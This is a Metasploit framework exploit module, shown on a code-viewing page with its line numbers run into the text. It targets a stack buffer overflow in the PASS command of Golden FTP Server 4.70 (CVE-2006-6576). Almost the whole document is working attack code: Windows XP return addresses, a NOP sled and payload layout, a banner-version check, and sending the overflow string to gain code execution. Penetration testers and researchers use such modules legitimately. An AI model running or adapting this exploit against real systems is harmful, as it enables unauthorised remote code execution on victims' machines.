Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/goldenftp_pass_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'GoldenFTP PASS Stack Buffer Overflow',13'Description' => %q{14This module exploits a vulnerability in the Golden FTP service, using the PASS15command to cause a buffer overflow. Please note that in order trigger the vulnerable16code, the victim machine must have the "Show new connections" setting enabled. By17default, this option is unchecked.18},19'Author' =>20[21'Craig Freyman', #Initial poc on exploit-db with iglesiasgg22'bannedit', #Initial msf module23'Joff Thyer <jsthyer[at]gmail.com>', #Improved msf version24],25'License' => MSF_LICENSE,26'References' =>27[28[ 'CVE', '2006-6576'],29[ 'OSVDB', '35951'],30[ 'BID', '45957'],31[ 'EDB', '16036'],32],33'DefaultOptions' =>34{35'EXITFUNC' => 'seh',36},37'Privileged' => false,38'Payload' =>39{40'Space' => 440,41'BadChars' => "\x00\x0a\x0d",42},43'Platform' => ['win'],44'Targets' =>45[46[ 'Windows XP Pro SP3', { 'Ret' => 0x7E45AE4E, } ], #JMP ESI USER32.dll47[ 'Windows XP Pro SP2', { 'Ret' => 0x77D4E23B, } ], #JMP ESI USER32.dll48[ 'Windows XP Pro SP0/SP1', { 'Ret' => 0x77e8157b, } ] #JMP ESI kernel32.dll49],50'DisclosureDate' => '2011-01-23'))51end5253def check54connect55disconnect56vprint_status("FTP Banner: #{banner}".strip)57if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"58return Exploit::CheckCode::Appears59else60return Exploit::CheckCode::Safe61end62end6364def exploit65shortjmp = make_nops(3) + "\xeb\x20"66nopsled = make_nops(1) * 6067srciplen = Rex::Socket.source_address.length68padding = make_nops(1) * (533 - (srciplen + nopsled.length + payload.encoded.length))6970sploit = nopsled71sploit << payload.encoded72sploit << padding73sploit << [target.ret].pack('V')7475print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")7677connect78raw_send(shortjmp + "\n")79send_user(datastore['FTPUSER'])80send_cmd(['PASS', sploit], false)81select(nil,nil,nil,2)82handler83disconnect84end85end868788